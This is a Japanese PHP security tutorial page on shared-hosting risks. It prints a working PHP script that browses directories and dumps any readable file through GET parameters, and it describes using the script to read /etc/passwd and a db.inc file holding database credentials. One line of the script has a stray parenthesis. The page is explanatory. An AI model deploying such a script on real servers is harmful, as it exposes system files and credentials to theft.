ホームページ  >  記事  >  バックエンド開発  >  PHP セキュリティ - ファイル システムの参照

PHP セキュリティ - ファイル システムの参照

黄舟
黄舟オリジナル
2017-02-20 09:30:08886ブラウズ



ファイルシステムの参照

攻撃者は、共有サーバー上の任意のファイルを読み取ることができるほか、ファイル システムを参照できるスクリプトを作成することもできます。機密ファイルのほとんどは Web サイトのホーム ディレクトリには保存されないため、このタイプのスクリプトは通常、ソース ファイルの場所を見つけるために使用されます。以下の例を参照してください:

 <pre class="brush:php;toolbar:false">
 
  <?php
 
  if (isset($_GET[&#39;dir&#39;]))
  {
    ls($_GET[&#39;dir&#39;]);
  }
  elseif (isset($_GET[&#39;file&#39;]))
  {
    cat($_GET[&#39;file&#39;]);
  }
  else
  {
    ls(&#39;/&#39;);
  }
 
  function cat($file)
  {
    echo htmlentities(file_get_contents($file),
ENT_QUOTES, &#39;UTF-8&#39;));
  }
 
  function ls($dir)
  {
    $handle = dir($dir);
 
    while ($filename = $handle->read())
    {
      $size = filesize("$dir$filename");
 
      if (is_dir("$dir$filename"))
      {
        $type = &#39;dir&#39;;
        $filename .= &#39;/&#39;;
      }
      else
      {
        $type = &#39;file&#39;;
      }
 
      if (is_readable("$dir$filename"))
      {
        $line = str_pad($size, 15);
        $line .= "<a
href=\"{$_SERVER[&#39;PHP_SELF&#39;]}";
        $line .=
"?$type=$dir$filename\">$filename</a>";
      }
      else
      {
        $line = str_pad($size, 15);
        $line .= $filename;
      }
 
      echo "$line\n";
    }
 
    $handle->close();
  }
 
  ?>
 
  


攻撃者は、最初に /etc/passwd ファイルまたは /home ディレクトリをチェックして、サーバー上のユーザー名のリストを取得する可能性があります。Web サイトのホーム ディレクトリの外に保存されているソース ファイルの場所は、include や require などの言語構造を通じて検出できます。たとえば、次のスクリプト ファイル /home/victim/public_html/admin.php について考えてみましょう。 攻撃者がファイルのソース コードを表示できた場合、db.inc の場所を発見し、readfile() 関数を使用してその内容を公開し、データベースにアクセスすることができます。したがって、db.inc を Web サイトのホーム ディレクトリの外に保存しても、この環境では保護されません。

この攻撃は、共有サーバー上のすべてのソース ファイルが公開されていると見なされ、すべての機密データを保存するデータベースが選択される理由を示しています。


上記は PHP セキュリティ ファイル システムの閲覧の内容です。その他の関連コンテンツについては、PHP 中国語 Web サイト (www.php.cn) にご注意ください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。